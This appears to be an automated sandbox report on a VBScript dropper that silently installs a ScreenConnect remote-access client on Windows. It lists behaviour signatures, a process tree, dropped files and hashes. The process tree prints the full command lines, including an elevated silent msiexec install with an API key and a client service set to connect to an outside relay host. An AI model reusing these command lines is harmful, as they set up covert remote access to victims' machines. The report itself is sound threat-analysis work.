Resubmissions

19/08/2026, 19:29

260819-x7c4rsgp9z8

19/08/2026, 19:24

260819-x4pcmagp6t8

19/08/2026, 19:21

260819-x2t54agn918

19/08/2026, 16:07

260819-tk599azxhx8

19/08/2026, 15:57

260819-td1feszwft8

19/08/2026, 05:45

260819-gf2eaael4s8

Analysis

  • max time kernel
    898s
  • max time network
    893s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 05:45

General

  • Target
    confirmation.vbs
  • Size 1KB
  • Sample260819-gf2eaael4s
  • SHA256 4f421ff46b2dabcff8719ba28deedd1740999f67923e021824aaaf1de6637754
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 17 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 45 IoCs
  • Modifies registry class 39 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\confirmation.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\confirmation.vbs" /elevated
      2⤵
      • Badlisted process makes network request
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\level.msi" LEVEL_API_KEY=64fhD3D52c1tFPhawv7cze1M /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1244
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DE21DED88E5AE3FD8D4BCE492488AEBB
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI9EC7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754734 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2812
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding AD79A4A0F277412DD261DEC1F1F820F3 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2880
  • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.dayytwo.top&p=8041&s=9befbb0c-a209-4b7a-ac5d-8aafd3271a8d&k=BgIAAACkAABSU0ExAAgAAAEAAQABS2jvowMmP33uHLqKHMQEsGkjBc25fYz27YReNk3F5sHLdvqhHBDHjFLBtKvl4eWFgXzoMyvqooLTvWKkfHgr3TmC6%2fvLVCjRY1Tvi9PAEyKQNNmRh8ErBKPHGiAW1ePWicefoB2VcrvxL5vZSJGAirLtEtDuK2YchMHaLWuF9Sy3KhCv%2ffFQm7kcp7ijpzMoOgsDokDadAf0AEQ8d%2b1nhMJ0Fn7OXmVEAncwG82JF%2fK6O3pxryodnd5P%2buGgqU3eRmdXoxe0Nc9CfuzS8Zig%2bpv5Dzsobc3taQYcZAXxHBZAowHlnT8SoBk%2fHGQ3PiXkBY8zLXtmO805Ck38bjmk"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3180
    • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "fae3e2d4-5fe9-4906-927b-74785c93a6a3" "User"
      2⤵
      • Executes dropped EXE
      PID:5600
    • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "9d3e24b2-452d-428c-902e-55a87896a7c2" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5172
    • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "1d5c262b-d8a1-4d77-9a07-6648d743b57b" "System"
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:4728
    • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe
      "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\system32\CMD.exe
        "C:\Windows\system32\CMD.exe"
        3⤵
          PID:2220
      • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "4cd6505a-40e9-4966-a751-d8314821e7c2" "User"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:6108
      • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "910dd7a6-c267-43ac-9237-2b74d3226aa1" "User"
        2⤵
        • Executes dropped EXE
        PID:452
      • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "d24d8480-041e-4240-949d-4049cfda83ad" "System"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:3372
      • C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "5b30fe47-4100-4e02-bcb8-861d2e7f2b68" "System"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:4632
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2492
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:2748

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e599bcc.rbs

              • Path C:\Config.Msi\e599bcc.rbs
              • Size 214KB
              • SHA256 cf41ea3575bfd8d905e1e0db58ef5995d11b2647554a52be99052e7e6f9f0d67
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.Override.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.Override.en-US.resources
              • Size 290B
              • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
              • MD5 SHA1 SHA512 TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.en-US.resources
              • Size 49KB
              • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.resources
              • Size 33KB
              • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Client.dll
              • Size 202KB
              • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.dll
              • Size 77KB
              • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Core.dll
              • Size 549KB
              • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Windows.dll
              • Size 1.7MB
              • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsBackstageShell.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe
              • Size 59KB
              • SHA256 48017db8b2d4ef34ddd2a289f9f8f78cbfaf3a8594298255638fd6346d88f58c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
              • Size 595KB
              • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 838KB
              • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsFileManager.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsFileManager.exe
              • Size 79KB
              • SHA256 d8b56c677f30f35cb408f75d23492f03ce55948b2cdf96edc6e72dab4f092a80
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\app.config
              • Size 963B
              • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\system.config
              • Size 937B
              • SHA256 e05410784b8c7f6d31be84e6c22eca93a201742a29a3acbad2ddf72aa95ffb41
              • MD5 SHA1 SHA512 TLSH

              level.msi

              • Path C:\Users\Admin\AppData\Local\Temp\level.msi
              • Size 12.6MB
              • SHA256 606f2b7e90ae75e5211f15e666344ea0ad32c5287c76ca20846c4ec447696ab6
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI9EC7.tmp

              • Path C:\Windows\Installer\MSI9EC7.tmp
              • Size 1.0MB
              • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Windows\Installer\MSI9EC7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Windows\Installer\MSI9EC7.tmp-\ScreenConnect.Core.dll
              • Size 539KB
              • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Windows\Installer\MSI9EC7.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Windows\Installer\MSI9EC7.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSIA689.tmp

              • Path C:\Windows\Installer\MSIA689.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/2616-130-0x0000000000B50000-0x0000000000B62000-memory.dmp

              memory/2812-30-0x0000000005DF0000-0x0000000005E7E000-memory.dmp

              memory/2812-26-0x0000000005D00000-0x0000000005D0A000-memory.dmp

              memory/2812-34-0x0000000006030000-0x00000000061DC000-memory.dmp

              memory/2812-22-0x0000000005CC0000-0x0000000005CEE000-memory.dmp

              memory/2812-35-0x00000000067A0000-0x0000000006D5A000-memory.dmp

              memory/3180-101-0x00000000044F0000-0x0000000004526000-memory.dmp

              memory/3180-83-0x0000000004600000-0x00000000047AC000-memory.dmp

              memory/3180-106-0x00000000049A0000-0x0000000004A75000-memory.dmp

              memory/3180-104-0x0000000004460000-0x00000000044A1000-memory.dmp

              memory/3180-97-0x00000000044A0000-0x00000000044F0000-memory.dmp

              memory/3180-102-0x00000000047B0000-0x0000000004842000-memory.dmp

              memory/3180-73-0x0000000001CD0000-0x0000000001CE8000-memory.dmp

              memory/3180-131-0x0000000005860000-0x00000000058C6000-memory.dmp

              memory/3180-79-0x00000000042E0000-0x000000000436E000-memory.dmp

              memory/4728-134-0x0000000180000000-0x0000000180055000-memory.dmp

              memory/5600-117-0x000000001B9C0000-0x000000001BA4E000-memory.dmp

              memory/5600-122-0x0000000003040000-0x0000000003081000-memory.dmp

              memory/5600-121-0x0000000002F10000-0x0000000002F28000-memory.dmp

              memory/5600-120-0x0000000002E80000-0x0000000002E98000-memory.dmp

              memory/5600-119-0x000000001C280000-0x000000001C408000-memory.dmp

              memory/5600-115-0x0000000000CD0000-0x0000000000D68000-memory.dmp

              memory/5600-116-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

              memory/5600-118-0x000000001BF40000-0x000000001C0EC000-memory.dmp